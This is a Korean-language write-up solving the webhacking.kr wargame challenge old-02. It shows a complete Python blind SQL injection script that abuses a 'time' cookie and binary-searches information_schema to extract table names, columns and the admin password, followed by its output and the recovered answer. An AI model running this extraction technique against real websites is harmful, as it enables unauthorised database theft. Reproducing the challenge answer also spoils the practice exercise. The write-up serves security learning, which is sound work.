이번 문제는 old-01에 비하면 상당히 난이도가 있는 문제 입니다.
들어가면,
위 사진과 같은 내용이 뜹니다.
바로 f12를 눌러서 개발자 도구로 들어가줍니다.
html 코드를 보니, 주석으로
<!-- if you access admin.php i will kick your ass -->
라고 되어있는 부분이 있는데,
https://webhacking.kr/challenge/web-02/admin.php
에 들어갈 수 있다는 얘기인 것 같습니다.
admin.php에는 이런 내용이 있는걸로 봐서,
flag 같은걸 입력해야 할 것 같습니다.
old-02번 같은 문제는, Blind SQL Injection 을 이용해 풀 수 있습니다.
잠시 알아보기 위해, old-01 편과 같이 사이트의 Cookie를 확인해보겠습니다.
time 이라는 Cookie가 있습니다.
이 숫자를 아무렇게나 바꾸고 새로고침을 해보면,
html에 있던 주석 (2021-04-22 11:34:59) 이
2023-11-04 09:49:59 처럼 다른 숫자로 바뀌어 있습니다.
Cookie의 값을, (숫자) and 1=1 로 바꿔보니,
2070-01-01 09:00:00 이 나왔습니다.
이제 이를 이용해 Python으로 Table - Column - Password를 알아내는
코드를 짜서 작동시켜줍니다.
import urllib, urllib.request, re
#phpsessid에는 본인의 쿠키에 있는 값을 입력
phpsessid = ""
cookie = "time=({} limit {}, 1)>{};PHPSESSID="+ phpsessid
#inject 함수는 쿼리문을 수행한 결과를 True, False로 반환
def inject(params):
url = "https://webhacking.kr/challenge/web-02/"
req = urllib.request.Request(url)
req.add_header("Cookie", cookie.format(*params))
res = urllib.request.urlopen(req)
read = res.read().decode("utf-8")
return "2070-01-01 09:00:01" in read
#DB 값을 알아내기 위해 Binary Search를 활용
def binary_search(left, right, params):
if left == right:
return left
mid = (left + right) // 2
if inject(params+(mid,)):
return binary_search(mid+1, right, params)
else:
return binary_search(left, mid, params)
#DB에 있는 데이터의 수를 알아내는 함수
def find_count(name, col, table):
query = 'select count({}) from {}'.format(col, table)
count = binary_search(0, 100, (query, 0))
print(f"{name}: {count}")
return count
#DB에 있는 데이터의 길이를 알아내기 위한 함수
def find_length(name, col, table, rows):
lengths = []
query = 'select length({}) from {}'.format(col, table)
for row in range(rows):
length = binary_search(0, 100, (query, row))
lengths.append(length)
print(f"{name}[{row}]: {length}")
return lengths
#DB에 있는 데이터의 내용을 알아내기 위한 함수
def find_word(name, col, table, rows, length):
words = []
query = "select ascii(substring({}, {}, 1)) from {}"
for row in range(rows):
word = ""
for idx in range(1, length[row]+1):
word += chr(binary_search(32, 127, (query.format(col, idx, table), row)))
words.append(word)
print(f"{name}[{row}]: {word}")
return words
#데이터의 개수, 길이를 알아내고 최종적으로 DB에 있는 내용을 알아내도록 묶어놓은 함수
def find(name, col, table):
count = find_count("count_"+name, col, table)
length = find_length("length_"+name, col, table, count)
word = find_word(name, col, table, count, length)
return word
if __name__ == "__main__":
find("tables", "table_name", "information_schema.tables where table_schema=database()") #현재 선택된 DB의 테이블을 탐색
find("cols", "column_name", "information_schema.columns where table_name='admin_area_pw'") #위 함수로 알아낸 admin_area_pw 테이블의 칼럼을 탐색
find("password", "pw", "admin_area_pw") #위 함수로 알아낸 pw 칼럼의 값을 탐색
#(출처 ㅣ https://adecay.github.io/2020/05/22/webhacking-kr-old-2.html)
phpsessid 변수에는 아까 전에 변경했었던 Cookie의 값을
그대로 입력합니다.
그리고 실행하면, 아래와 같은 결과가 나올겁니다.
count_tables: 2
length_tables[0]: 13
length_tables[1]: 3
tables[0]: a
tables[0]: ad
tables[0]: adm
tables[0]: admi
tables[0]: admin
tables[0]: admin_
tables[0]: admin_a
tables[0]: admin_ar
tables[0]: admin_are
tables[0]: admin_area
tables[0]: admin_area_
tables[0]: admin_area_p
tables[0]: admin_area_pw
tables[1]: l
tables[1]: lo
tables[1]: log
count_cols: 1
length_cols[0]: 2
cols[0]: p
cols[0]: pw
count_password: 1
length_password[0]: 17
password[0]: k
password[0]: ku
password[0]: kud
password[0]: kudo
password[0]: kudos
password[0]: kudos_
password[0]: kudos_t
password[0]: kudos_to
password[0]: kudos_to_
password[0]: kudos_to_b
password[0]: kudos_to_be
password[0]: kudos_to_bei
password[0]: kudos_to_beis
password[0]: kudos_to_beist
password[0]: kudos_to_beistl
password[0]: kudos_to_beistla
password[0]: kudos_to_beistlab
맞습니다.
테이블 이름 admin_area_pw 과 log 이고,
저장된 비밀번호는 kudos_to_beistlab 입니다.
admin.php 페이지로 접근해서 비밀번호인 "kudos_to_beistlab" 를 입력하고
제출 버튼을 클릭하면, 성공적으로 완료됩니다.